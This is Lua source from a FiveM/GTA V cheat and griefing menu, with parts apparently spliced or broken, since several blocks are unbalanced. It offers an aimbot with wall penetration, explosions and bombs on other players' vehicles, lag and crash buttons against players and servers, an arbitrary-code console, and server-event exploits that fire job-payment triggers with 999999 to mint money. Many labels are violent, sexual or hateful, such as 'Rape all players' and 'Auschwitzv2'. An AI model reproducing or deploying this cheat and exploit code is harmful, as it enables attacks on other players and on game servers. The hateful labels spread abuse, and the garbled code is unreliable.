local weapon = Functions.f.CustomInput("Weapon
To Spawn", "weapon_pistol", 30)
Fatasf.n.GiveDelayedWeaponToPed(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetHashKey(weapon), 255, false)
end
if tf.Button('Burn player car', "~y~Semi") then
Cock.Menu.burnplayercar = not
Cock.Menu.burnplayercar
end
if tf.Button('Plant bomb on player car', "~y~Semi")
then
Cock.Menu.plantthebomb = not
Cock.Menu.plantthebomb
if Cock.Menu.plantthebomb then
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer),
false)) then
--[[ local bomb =
Fatasf.n.CreateAnDui("https://cock.menu/music/bombhasbeenplanted.mp3", 1, 1, 1)
CockT.Inv["Wait"](1600)
Fatasf.n.DestroyDui(bomb) ]]
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(CockT.Global.SelectedPlayer))
Fatasf.n.AddExplosion(coords.x,
coords.y, coords.z, 5, 100.0, true, false, 0.0)
end
end
end
if tf.Button('Fuck vehicle', "~y~Semi") then
Functions.f.FuckVehicle(CockT.Global.SelectedPlayer)
end
if tf.Button('Spawn bitch in player vehicle',
"~y~Semi") then
CockMeni.Functions.SpawnBitch(CockT.Global.SelectedPlayer)
end
if tf.Button('Aggressive bolivanos', "~y~Semi") then
CockT.Global.SpawnKillingMexico(CockT.Global.SelectedPlayer)
end
if tf.Button("Unex devs on player", "~y~Semi") then
CockT.Global.UnexOnPlayer(CockT.Global.SelectedPlayer, 10)
end
if tf.Button("Kill gpu", "~y~Semi") then
Functions.f.KIllGpu(CockT.Global.SelectedPlayer)
end
if tf.Button("Ram Player", "~y~Semi") then
Functions.f.GetRamedByVehicle('rumpo',
CockT.Global.SelectedPlayer)
end
if tf.Button("Bug player vehicle", "~y~Semi") then
Functions.f.BugPlayerVeh(CockT.Global.SelectedPlayer)
end
if CockMeni.Functions.CheckBox("Fire on player",
Cock.Menu.fireonplayer) then
Cock.Menu.fireonplayer = not
Cock.Menu.fireonplayer
end
if CockMeni.Functions.CheckBox("Clown on player",
Cock.Menu.Clownonplayer) then
Cock.Menu.Clownonplayer = not
Cock.Menu.Clownonplayer
end
if tf.Button("Delete player vehicle", "~y~Semi")
then
Fatasf.n.DeleteEntity(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(CockT.Global
.SelectedPlayer)))
end
if tf.Button("Man with middle fingers", "~r~Risk")
then
CockT.Global.MiddleFinger(CockT.Global.SelectedPlayer)
end
if tf.Button("Send isis", "~r~Risk") then
CockT.Global.isisattack(Fatasf.n.GetEntityCoords(GetPlayerPed(CockT.Global.Selected
Player)))
end
if tf.Button("Warp vehicle", "~y~Semi") then
CockT.Global.WarpVehicle(CockT.Global.SelectedPlayer)
end
if tf.Button("PP on head", "~r~Risk") then
CockT.Global.PPonHead(CockT.Global.SelectedPlayer)
end
if tf.Button("Fuck Engine", "~r~Risk") then
CockT.Global.FuckPlayerEngine(CockT.Global.SelectedPlayer)
end
if
Cock.AimFriends[Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)] == true then
if tf.Button("Remove Friend
("..Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)..")", "~g~Safe") then
Cock.AimFriends[Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)] = false
end
else
if tf.Button("Add Friend
("..Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)..")", "~g~Safe") then
Cock.AimFriends[Fatasf.n.GetPlayerName(CockT.Global.SelectedPlayer)] = true
end
end
if CockMeni.Functions.CheckBox("SpaceX",
Cock.Menu.LaunchPlayer) then
Cock.Menu.LaunchPlayer = not
Cock.Menu.LaunchPlayer
end
if CockMeni.Functions.CheckBox("SpaceX2",
Cock.Menu.SpaceX2) then
Cock.Menu.SpaceX2 = not Cock.Menu.SpaceX2
end
Functions.f.FreezePlayer(CockT.Global.SelectedPlayer)
end
if tf.Button("Spawn Hitman", "~y~Semi") then
CockT.Global.Hitman(CockT.Global.SelectedPlayer)
end
if tf.Button("Give own army", "~y~Semi") then
CockT.Global.GivePlayerArmy(CockT.Global.SelectedPlayer)
end
if tf.Button("Do gangbang", "~y~Semi") then
CockT.Global.DoGangbangPlayer(CockT.Global.SelectedPlayer)
end
if tf.Button("Custom particle", "~y~Semi") then
CockT.Global.PlayCustompParticle(CockT.Global.SelectedPlayer)
end
if CockMeni.Functions.CheckBox("Give player
explosive ammo", Cock.Menu.giveexplosiveammo) then
Cock.Menu.giveexplosiveammo = not
Cock.Menu.giveexplosiveammo
end
if CockMeni.Functions.CheckBox("Give player molotov
ammo", Cock.Menu.givemolotovammo) then
Cock.Menu.givemolotovammo = not
Cock.Menu.givemolotovammo
end
if CockMeni.Functions.CheckBox("Give player prop
ammo", Cock.Menu.givepropammo) then
Cock.Menu.givepropammo = not
Cock.Menu.givepropammo
end
if CockMeni.Functions.CheckBox("Taze loop",
Cock.Menu.tazeloop) then
Cock.Menu.tazeloop = not Cock.Menu.tazeloop
end
if CockMeni.Functions.CheckBox("Kick from vehicle
loop", Cock.Menu.kickfromveh) then
Cock.Menu.kickfromveh = not
Cock.Menu.kickfromveh
end
if CockMeni.Functions.CheckBox("Ear rape",
Cock.Menu.earrape) then
Cock.Menu.earrape = not Cock.Menu.earrape
end
if CockMeni.Functions.MenuButton("Play Sound",
"PlaySounds", ">") then
end
end
if tf.IsMenuOpened("online") then
--[[local players = Fatasf.n.GetActivePlayers()
for i = 1, #players do
local player = players[i]
if CockMeni.Functions.MenuButton("ID:
"..Fatasf.n.GetPlayerServerId(players[i]).." |
"..Fatasf.n.GetPlayerName(players[i]), "OnlineMenuButtons", ">") then
CockT.Global.SelectedPlayer = player
end
end]]
local ids = Fatasf.n.GetActivePlayers()
if CockT.Global.SelectedPlayer == nil then
CockT.Global.SelectedPlayer = ids[1]
end
for i = 1, #ids do
local player = ids[i]
if CockMeni.Functions.MenuButton("ID:
"..Fatasf.n.GetPlayerServerId(player).." | "..Fatasf.n.GetPlayerName(player),
"OnlineMenuButtons", ">") then
CockT.Global.SelectedPlayer = player
end
end
end
if tf.IsMenuOpened("vehicle") then
if CockMeni.Functions.MenuButton("Addons", "addons",
">") then
end
if CockMeni.Functions.MenuButton("LS Customs",
"lscustoms", ">") then
end
CockT.Global.PerformanceTuning(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId(),
false))
elseif tf.Button("Flip vehicle", "~g~Native") then
CockMeni.Functions.FlipVehicle()
elseif tf.Button("Delete vehicle", "~g~Native") then
Fatasf.n.DeleteEntity(Fatasf.n.GetVehiclePedIsIn(Fatasf.n.PlayerPedId()))
elseif tf.Button("Unlock closest vehicle",
"~g~Safe") then
local vehicle = CockT.Inv["Invoke"]
(CockT.Natives['GetClosestVehicle'],
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 25.0, 0, 70)
Functions.f.UnlockVehicle(vehicle)
elseif tf.Button("Lock closest vehicle", "~g~Safe")
then
local vehicle = CockT.Inv["Invoke"]
(CockT.Natives['GetClosestVehicle'],
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), 25.0, 0, 70)
Functions.f.LockVehicle(vehicle)
elseif tf.Button("Custom colour", "~r~Risky") then
Cock.Menu.cvcolour = not Cock.Menu.cvcolour
elseif tf.CSeparator("~y~OTHER", "") then
elseif tf.Button("Change plate", "~g~Native") then
local result = Functions.f.CustomInput('Enter
Vehicle Plate', 'CockMenu', 8)
local car =
Fatasf.n.GetVehiclePedIsUsing(Fatasf.n.PlayerPedId())
Fatasf.n.SetVehicleNumberPlateText(car, result)
elseif tf.Button("Clean vehicle", "~g~Native") then
CockT.Global.CleanVehicle()
elseif tf.Button("Random vehicle colour",
"~g~Native") then
CockT.Global.RandomColour()
elseif CockMeni.Functions.CheckBox("Cock Plate",
Cock.Menu.cockplate) then
Cock.Menu.cockplate = not Cock.Menu.cockplate
elseif CockMeni.Functions.CheckBox("Drive To
Waypoint", Cock.Menu.DriveToWaypoint) then
Cock.Menu.DriveToWaypoint = not
Cock.Menu.DriveToWaypoint
elseif CockMeni.Functions.CheckBox("NoFall",
Cock.Menu.nofall) then
Cock.Menu.nofall = not Cock.Menu.nofall
end
end
if tf.IsMenuOpened("WeaponsCustoms") then
if CockMeni.Functions.CheckBox("Suppressor",
Cock.Menu.Suppressor) then
Cock.Menu.Suppressor = not Cock.Menu.Suppressor
if Cock.Menu.Suppressor then
CockT.Global.GiveWeaponComponentToPed(0x65EA7EBB)
CockT.Global.GiveWeaponComponentToPed(0x837445AA)
CockT.Global.GiveWeaponComponentToPed(0xA73D4664)
CockT.Global.GiveWeaponComponentToPed(0xC304849A)
CockT.Global.GiveWeaponComponentToPed(0xE608B35E)
else
CockT.Global.RemoveWeaponComponentFromPed(0x65EA7EBB)
CockT.Global.RemoveWeaponComponentFromPed(0x837445AA)
CockT.Global.RemoveWeaponComponentFromPed(0xA73D4664)
CockT.Global.RemoveWeaponComponentFromPed(0xC304849A)
CockT.Global.RemoveWeaponComponentFromPed(0xE608B35E)
end
end
if CockMeni.Functions.CheckBox("Flashlight",
Cock.Menu.Flashlight) then
Cock.Menu.Flashlight = not Cock.Menu.Flashlight
if Cock.Menu.Flashlight then
CockT.Global.GiveWeaponComponentToPed(0x359B7AAE)
CockT.Global.GiveWeaponComponentToPed(0x7BC4CDDC)
else
CockT.Global.RemoveWeaponComponentFromPed(0x359B7AAE)
CockT.Global.RemoveWeaponComponentFromPed(0x7BC4CDDC)
end
end
if CockMeni.Functions.CheckBox("Extended Magazine",
Cock.Menu.ExtendedMag) then
Cock.Menu.ExtendedMag = not
Cock.Menu.ExtendedMag
if Cock.Menu.ExtendedMag then
CockT.Global.GiveWeaponComponentToPed(0x249A17D5)
CockT.Global.GiveWeaponComponentToPed(0x64F9C62B)
CockT.Global.GiveWeaponComponentToPed(0x7B0033B3)
CockT.Global.GiveWeaponComponentToPed(0x7C8BD10E)
CockT.Global.GiveWeaponComponentToPed(0x86BD7F72)
CockT.Global.GiveWeaponComponentToPed(0x8EC1C979)
CockT.Global.GiveWeaponComponentToPed(0xB3688B0F)
CockT.Global.GiveWeaponComponentToPed(0xD6C59CD6)
CockT.Global.GiveWeaponComponentToPed(0xED265A1C)
CockT.Global.GiveWeaponComponentToPed(0xD67B4F2D)
CockT.Global.GiveWeaponComponentToPed(0xD9D3AC92)
CockT.Global.GiveWeaponComponentToPed(0x33BA12E8)
CockT.Global.GiveWeaponComponentToPed(0x10E6BA2B)
CockT.Global.GiveWeaponComponentToPed(0x350966FB)
CockT.Global.GiveWeaponComponentToPed(0xBB46E417)
CockT.Global.GiveWeaponComponentToPed(0x334A5203)
CockT.Global.GiveWeaponComponentToPed(0x82158B47)
CockT.Global.GiveWeaponComponentToPed(0xEAC8C270)
CockT.Global.GiveWeaponComponentToPed(0xB1214F9B)
CockT.Global.GiveWeaponComponentToPed(0x91109691)
CockT.Global.GiveWeaponComponentToPed(0xCCFD2AC5)
CockT.Global.GiveWeaponComponentToPed(0x971CF6FD)
else
CockT.Global.RemoveWeaponComponentFromPed(0x249A17D5)
CockT.Global.RemoveWeaponComponentFromPed(0x64F9C62B)
CockT.Global.RemoveWeaponComponentFromPed(0x7B0033B3)
CockT.Global.RemoveWeaponComponentFromPed(0x7C8BD10E)
CockT.Global.RemoveWeaponComponentFromPed(0x86BD7F72)
CockT.Global.RemoveWeaponComponentFromPed(0x8EC1C979)
CockT.Global.RemoveWeaponComponentFromPed(0xB3688B0F)
CockT.Global.RemoveWeaponComponentFromPed(0xD6C59CD6)
CockT.Global.RemoveWeaponComponentFromPed(0xED265A1C)
CockT.Global.RemoveWeaponComponentFromPed(0xD67B4F2D)
CockT.Global.RemoveWeaponComponentFromPed(0xD9D3AC92)
CockT.Global.RemoveWeaponComponentFromPed(0x33BA12E8)
CockT.Global.RemoveWeaponComponentFromPed(0x10E6BA2B)
CockT.Global.RemoveWeaponComponentFromPed(0x350966FB)
CockT.Global.RemoveWeaponComponentFromPed(0xBB46E417)
CockT.Global.RemoveWeaponComponentFromPed(0x334A5203)
CockT.Global.RemoveWeaponComponentFromPed(0x82158B47)
CockT.Global.RemoveWeaponComponentFromPed(0xEAC8C270)
CockT.Global.RemoveWeaponComponentFromPed(0xB1214F9B)
CockT.Global.RemoveWeaponComponentFromPed(0x91109691)
CockT.Global.RemoveWeaponComponentFromPed(0xCCFD2AC5)
CockT.Global.RemoveWeaponComponentFromPed(0x971CF6FD)
end
end
if CockMeni.Functions.CheckBox("Grip",
Cock.Menu.Grip) then
Cock.Menu.Grip = not Cock.Menu.Grip
if Cock.Menu.Grip then
CockT.Global.GiveWeaponComponentToPed(0xC164F53)
else
CockT.Global.RemoveWeaponComponentFromPed(0xC164F53)
end
end
if CockMeni.Functions.CheckBox("Scope",
Cock.Menu.Scope) then
Cock.Menu.Scope = not Cock.Menu.Scope
if Cock.Menu.Scope then
CockT.Global.GiveWeaponComponentToPed(0x9D2FBF29)
CockT.Global.GiveWeaponComponentToPed(0xA0D89C42)
CockT.Global.GiveWeaponComponentToPed(0xAA2C45B4)
CockT.Global.GiveWeaponComponentToPed(0xD2443DDC)
CockT.Global.GiveWeaponComponentToPed(0x3CC6BA57)
CockT.Global.GiveWeaponComponentToPed(0x3C00AFED)
else
CockT.Global.RemoveWeaponComponentFromPed(0x9D2FBF29)
CockT.Global.RemoveWeaponComponentFromPed(0xA0D89C42)
CockT.Global.RemoveWeaponComponentFromPed(0xAA2C45B4)
CockT.Global.RemoveWeaponComponentFromPed(0xD2443DDC)
CockT.Global.RemoveWeaponComponentFromPed(0x3CC6BA57)
CockT.Global.RemoveWeaponComponentFromPed(0x3C00AFED)
end
end
end
if tf.IsMenuOpened("weapons") then
if CockMeni.Functions.MenuButton("Aim",
"WeaponsAimbot", "") then
end
if CockMeni.Functions.MenuButton("Customizations",
"WeaponsCustoms", "") then
end
if tf.CSeparator("~y~WEAPONRY", "") then
end
if CockMeni.Functions.CheckBox("Teleport gun",
Cock.Menu.Tpgun) then
Cock.Menu.Tpgun = not Cock.Menu.Tpgun
end
if CockMeni.Functions.CheckBox("RPG gun",
Cock.Menu.RPGGun) then
Cock.Menu.RPGGun = not Cock.Menu.RPGGun
end
if CockMeni.Functions.CheckBox("Molotov gun",
Cock.Menu.molotovgun) then
Cock.Menu.molotovgun = not Cock.Menu.molotovgun
end
if CockMeni.Functions.CheckBox("Particles gun",
Cock.Menu.particlegun) then
Cock.Menu.particlegun = not
Cock.Menu.particlegun
end
if CockMeni.Functions.CheckBox("Rapid fire",
Cock.Menu.rapidfire) then
Cock.Menu.rapidfire = not Cock.Menu.rapidfire
end
if CockMeni.Functions.CheckBox("Infinite ammo",
Cock.Menu.infammo) then
Cock.Menu.infammo = not Cock.Menu.infammo
end
if CockMeni.Functions.CheckBox("Shoot vehicles",
Cock.Menu.shootvehs) then
Cock.Menu.shootvehs = not Cock.Menu.shootvehs
end
if tf.CSeparator("~y~ALL WEAPONS", "") then
end
if tf.Button("Give all weapons", "~r~Risky") then
CockMeni.Functions.GiveAllWeapons()
end
if tf.Button("Remove all weapons", "~r~Risky") then
CockMeni.Functions.RemoveAllWeapons()
end
CockMeni.Functions.RemoveLastWeapon()
end]]
if tf.CSeparator("~y~AMMO", "") then
end
--[[if tf.Button("Set Ammo", "~g~Native") then
CockMeni.Functions.SetCurrentAmmo()
end ]]
if CockMeni.Functions.ComboBox("Set Ammo",
CockMenu.ComboBoxesT.ammo, CockMenu.ComboBoxesT.ammoMultIndex,
CockMenu.ComboBoxesT.ammoLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.ammoMultIndex =
currentIndex
CockMenu.ComboBoxesT.ammoLengMult = currentIndex
end) then
Functions.f.SetCurrentAmmo(CockMenu.ComboBoxesT.ammo[CockMenu.ComboBoxesT.ammoMultI
ndex])
end
if tf.IsMenuOpened("WeaponsAimbot") then
if tf.CSeparator("~y~AIMBOT", "") then
end
if CockMeni.Functions.CheckBox("Enable Aimlock",
CockMeni.Functions.Aimlock) then
CockMeni.Functions.Aimlock = not
CockMeni.Functions.Aimlock
end
if CockMeni.Functions.CheckBox("Shoot through
walls", CockMeni.Functions.udwallslock) then
CockMeni.Functions.udwallslock = not
CockMeni.Functions.udwallslock
end
if CockMeni.Functions.CheckBox("Enable ragebot",
CockMeni.Functions.ragebot) then
CockMeni.Functions.ragebot = not
CockMeni.Functions.ragebot
end
if CockMeni.Functions.CheckBox("Car Killer",
CockMeni.Functions.Carkiller) then
CockMeni.Functions.Carkiller = not
CockMeni.Functions.Carkiller
end
if CockMeni.Functions.CheckBox("Triggerbot",
CockMeni.Functions.Triggerbot) then
CockMeni.Functions.Triggerbot = not
CockMeni.Functions.Triggerbot
end
if CockMeni.Functions.CheckBox("Hit sound
(~r~BETA~s~)", CockMeni.Functions.hitsound) then
CockMeni.Functions.hitsound = not
CockMeni.Functions.hitsound
end
if CockMeni.Functions.CheckBox("Hit marker",
CockMeni.Functions.hitmarker) then
CockMeni.Functions.hitmarker = not
CockMeni.Functions.hitmarker
end
if CockMeni.Functions.CheckBox("Show coords",
Cock.Menu.showcoords) then
Cock.Menu.showcoords = not Cock.Menu.showcoords
end
if CockMeni.Functions.CheckBox("Road detector",
Cock.Menu.roadetector) then
Cock.Menu.roadetector = not
Cock.Menu.roadetector
end
Fatasf.n.SetExtraTimecycleModifier('mp_lad_day')
else
Fatasf.n.ClearExtraTimecycleModifier()
end
end
if CockMeni.Functions.CheckBox("Tiny player",
Cock.Menu.tinyplayer) then
Cock.Menu.tinyplayer = not Cock.Menu.tinyplayer
end
if CockMeni.Functions.CheckBox("Slowmotion",
Cock.Menu.Slowmotion) then
Cock.Menu.Slowmotion = not Cock.Menu.Slowmotion
end
if CockMeni.Functions.CheckBox("Hide ID",
Cock.Menu.hideid) then
Cock.Menu.hideid = not Cock.Menu.hideid
if Cock.Menu.hideid then
CockT.Inv["Thread"](function()
while Cock.Menu.hideid do
CockT.Inv["Wait"](0)
Fatasf.n.DrawRect(0.95, 0.1, 0.2,
0.2, 70, 70, 70, 255)
end
end)
end
end
if CockMeni.Functions.ComboBox("Peds",
CockMenu.ComboBoxesT.Peds, CockMenu.ComboBoxesT.PedsMultIndex,
CockMenu.ComboBoxesT.PedsLengMult, function(currentIndex, selIndex)
CockMenu.ComboBoxesT.PedsMultIndex =
currentIndex
CockMenu.ComboBoxesT.PedsLengMult = currentIndex
end) then
local model =
CockMenu.ComboBoxesT.PedsP[CockMenu.ComboBoxesT.PedsMultIndex]
Fatasf.n.RequestModel(Fatasf.n.GetHashKey(model))
CockT.Inv["Wait"](0)
if
Fatasf.n.HasModelLoaded(Fatasf.n.GetHashKey(model)) then
CockT.Inv["Invoke"]
(CockT.Natives['SetPlayerModel'], Fatasf.n.PlayerId(), Fatasf.n.GetHashKey(model))
end
end
else
Fatasf.n.DestroyDui(hailhitlasorry)
local ped = Fatasf.n.PlayerPedId()
Fatasf.n.RequestTaskMoveNetworkStateTransition(ped, "Stop") if not
Fatasf.n.IsPedInjured(ped) then Fatasf.n.ClearPedSecondaryTask(ped) end if not
Fatasf.n.IsPedInAnyVehicle(ped, 1) then Fatasf.n.SetPedCurrentWeaponVisible(ped, 1,
1, 1, 1) end Fatasf.n.SetPedConfigFlag(ped, 36, 0)
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
end
end
if tf.Button('Moscow meme', '~g~Safe') then
Cock.Menu.moscowmeme = not Cock.Menu.moscowmeme
if Cock.Menu.moscowmeme then
moscowwork = true
CockMeni.Functions.LoadGifMoscow()
CockT.Inv["Thread"](function()
while moscowwork do
CockT.Inv["Wait"](0)
Fatasf.n.DrawSprite("cock_moscow",
"menu_gif", 0.5, 0.5, 0.5, 0.5, 0.0, 255, 255, 255, 255)
end
end)
else
moscowwork = false
end
end
function loadAnimDict(dict)
while (not
Fatasf.n.HasAnimDictLoaded(dict)) do
Fatasf.n.RequestAnimDict(dict)
CockT.Inv["Wait"](5)
end
end
hailhitlasorry =
Fatasf.n.CreateAnDui("https://cock.menu/music/USSR.mp3", 1, 1, 1)
local ad = "anim@mp_player_intuppersalute"
local player = Fatasf.n.PlayerPedId()
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
else
Fatasf.n.TaskPlayAnim(player, ad,
"idle_a", 8.0, 1.0, -1, 49, 0, 0, 0, 0 )
CockT.Inv["Wait"](500)
end
end
else
Fatasf.n.DestroyDui(hailhitlasorry)
Fatasf.n.ClearPedSecondaryTask(Fatasf.n.PlayerPedId())
end
end]]
end
if tf.IsMenuOpened("destroyer") then
if tf.CSeparator("~y~FREECAM", "") then
end
if CockMeni.Functions.CheckBox("Freecam",
Cock.Menu.Freecam) then
Cock.Menu.Freecam = not Cock.Menu.Freecam
end
if tf.CSeparator("~y~TROLL", "") then
end
if tf.Button("Fly all vehicles", "~r~Risky") then
CockMeni.Functions.FlyAllVehs()
end
if tf.Button("Rape all players", "~r~Risky") then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.RapeP(i)
end
end
if tf.Button("Lag all players", "~r~Risky") then
CockT.Global.LagAllPlayers()
end
if tf.Button("Delete all vehicles", "~r~Risky") then
if CockMeni.Functions.CheckBox("Disable all
engines Loop", Cock.Menu.DisableAllEnginesLoop) then
Cock.Menu.DisableAllEnginesLoop = not
Cock.Menu.DisableAllEnginesLoop
end
if tf.Button('Custom prop', '~y~Semi') then
local object =
Functions.f.CustomInput("Custom prop name", "prop_beach_fire", 25)
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.CustomProp(object, i)
end
end
Fatasf.n.NetworkRequestControlOfEntity(Pped)
CockT.Inv["Invoke"]
(CockT.Natives['ApplyForceToEntity'], Pped, 3, 0.0, 0.0, 500.0, 0.0, 0.0, 0.0, 0,
0, 1, 1, 0, 1)
end
end
if tf.Button('Paint all vehicles', '~y~Semi')
then
Cock.Menu.paintallvehs = not
Cock.Menu.paintallvehs
end
if tf.Button('Unlock all vehicles', "~r~Risky")
then
for vehs in Fatasf.n.EnumerateVehicles() do
Functions.f.UnlockVehicle(vehs)
end
end
if tf.Button('Cock plate all vehicles',
"~r~Risky") then
for vehs in Fatasf.n.EnumerateVehicles() do
Fatasf.n.SetVehicleNumberPlateText(vehs,
'CockMenu')
end
end
if tf.Button('Sirens on all players',
"~r~Risky") then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockMeni.Functions.SirensOnPlayer(i)
end
end
Fatasf.n.AddExplosion(Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i)), 12,
100.0, true, false, 0.0)
end
end
if tf.Button('Auschwitzv2', '~y~Semi') then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.Auschwitzv2(i)
end
end
if tf.Button('Plant bomb on all vehicles',
'~y~Semi') then
Cock.Menu.plantthebombonall = not
Cock.Menu.plantthebombonall
if Cock.Menu.plantthebombonall then
for k, i in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
if
Fatasf.n.IsPedSittingInVehicle(Fatasf.n.GetPlayerPed(i),
Fatasf.n.GetVehiclePedIsIn(Fatasf.n.GetPlayerPed(i), false)) then
--[[ local bomb =
Fatasf.n.CreateAnDui("https://cock.menu/music/bombhasbeenplanted.mp3", 1, 1, 1)
CockT.Inv["Wait"](1600)
Fatasf.n.DestroyDui(bomb) ]]
local coords =
Fatasf.n.GetEntityCoords(Fatasf.n.GetPlayerPed(i))
Fatasf.n.SetEntityCoordsNoOffset(vehicle,
Fatasf.n.GetEntityCoords(Fatasf.n.PlayerPedId()), true, true, true)
end
if CockMeni.Functions.CheckBox("Lag server",
Cock.Menu.lagserver) then
Cock.Menu.lagserver = not
Cock.Menu.lagserver
end
if CockMeni.Functions.CheckBox("Taze loop
all", Cock.Menu.tazeloopall) then
Cock.Menu.tazeloopall = not
Cock.Menu.tazeloopall
end
if CockMeni.Functions.CheckBox("Kick from
vehicle loop all", Cock.Menu.kickfromvehall) then
Cock.Menu.kickfromvehall = not
Cock.Menu.kickfromvehall
end
if tf.Button("Fuck server", "~y~Semi") then
CockT.Global.FuckServer()
end
--[[if tf.Button("", "~y~Semi") then
end]]
if CockMeni.Functions.CheckBox("Ear rape
everyone", Cock.Menu.earrapeall) then
Cock.Menu.earrapeall = not
Cock.Menu.earrapeall
end
end
s = Fatasf.n.GetResourceState('chat')
print(s)
end
end
end
if CockMeni.Functions.IsMenuOpened("dumper") then
for _, resources in
CockT.Math.pairs(Fatasf.n.GetResources()) do
if CockMeni.Functions.MenuButton(resources,
"resfiles", "") then
end
end
end]]
if tf.IsMenuOpened("lua") then
if tf.Button("Refresh", "~g~Safe") then
CockMeni.Functions.UpdateAllTriggers()
end
if tf.Button("Execute lua code", "~g~Safe") then
local in1 = Functions.f.CustomInput("Code to
execute", "", 1000)
CockT.Strings.pcall(CockT.Strings.load(in1))
end
--[[if CockMeni.Functions.MenuButton("Resource
dumper", "dumper", "") then
end]]
if tf.CSeparator("~y~TRIGGERS", "") then
end
if dynamic.TR['gopostaljob:pay2'] then
if tf.Button("~g~ESX~s~ Money (gopostal2)",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['gopostaljob:pay2'], 999999)
end
end
if dynamic.TR['carry_exploitv2'] then
if tf.Button("Teleport all to ocean", "~y~Semi")
then
local ped = Fatasf.n.GetPlayerPed(v)
for k, v in
CockT.Math.pairs(Fatasf.n.GetActivePlayers()) do
CockT.Global.TriggerCustomEvent(true,
dynamic.TR["carry_exploitv2"], ped, "missfinale_c2mcs_1", "nm",
"fin_c2_mcs_1_camman", "firemans_carry", 0.15, 0.27,
0.63,Fatasf.n.GetPlayerServerId(v), 100000, 0.0, 49, 33, 1)
CockT.Inv["Wait"](150)
CockT.Global.TriggerCustomEvent(true,
dynamic.TR["carrypeople_stop"],Fatasf.n.GetPlayerServerId(v))
end
end
end
if dynamic.TR['esx_skin:openSaveableMenu'] then
if tf.Button("~g~ESX~s~ Open skin menu",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(false,
'esx_skin:openSaveableMenu')
end
end
--esx_skin:openSaveableMenu
if dynamic.TR['garbagejob_pay'] then
if tf.Button("~g~ESX~s~ Money (garbagejob)",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['garbagejob_pay'], 999999)
end
end
if dynamic.TR['gopostaljob:pay'] then
if tf.Button("~g~ESX~s~ Money (gopostal)",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['gopostaljob:pay'], 999999)
end
end
if dynamic.TR['esx_blanchisseur:pay'] then
if tf.Button("~g~ESX~s~ Money
(esx_blanchisseur)", "~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_blanchisseur:pay'], 999999)
end
end
if dynamic.TR['esx_pizza:pay'] then
if tf.Button("~g~ESX~s~ Money (esx_pizza)",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['esx_pizza:pay'], 999999)
end
end
if dynamic.TR['esx_taxijob:success'] then
if tf.Button("~g~ESX~s~ Money (esx_taxijob)",
"~y~Semi") then
HeyFriendo("esx_taxijob:success")
HeyFriendo("esx_taxijob2:success")
end
end
if dynamic.TR['drugs:stop_sell_opium'] then
if tf.Button("~g~ESX~s~ Drugs - STOP ALL",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_opium'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:drugs:stop_process_opium'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_opium'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_weed'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_weed'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_process_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_meth'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_sell_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_process_coke'])
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:stop_feild_coke'])
end
end
if dynamic.TR['drugs:opiumsell'] then
if tf.Button("~g~ESX~s~ Drugs - Sell Opium",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:opiumsell'])
end
end
if dynamic.TR['drugs:opiumprocess'] then
if tf.Button("~g~ESX~s~ Drugs - Process Opium",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:opiumprocess'])
end
end
if dynamic.TR['drugs:opiumfield'] then
if tf.Button("~g~ESX~s~ Drugs - Field Opium",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:opiumfield'])
end
end
if dynamic.TR['drugs:weedsell'] then
if tf.Button("~g~ESX~s~ Drugs - Sell Weed",
"~y~Semi") then
CockT.Global.TriggerCustomEvent(true,
dynamic.TR['drugs:weedsell'])
end
end
if dynamic.TR['drugs:weedprocess'] then
if tf.Button("~g~ESX~s~ Drugs - Process Weed",
"~y~Semi") then
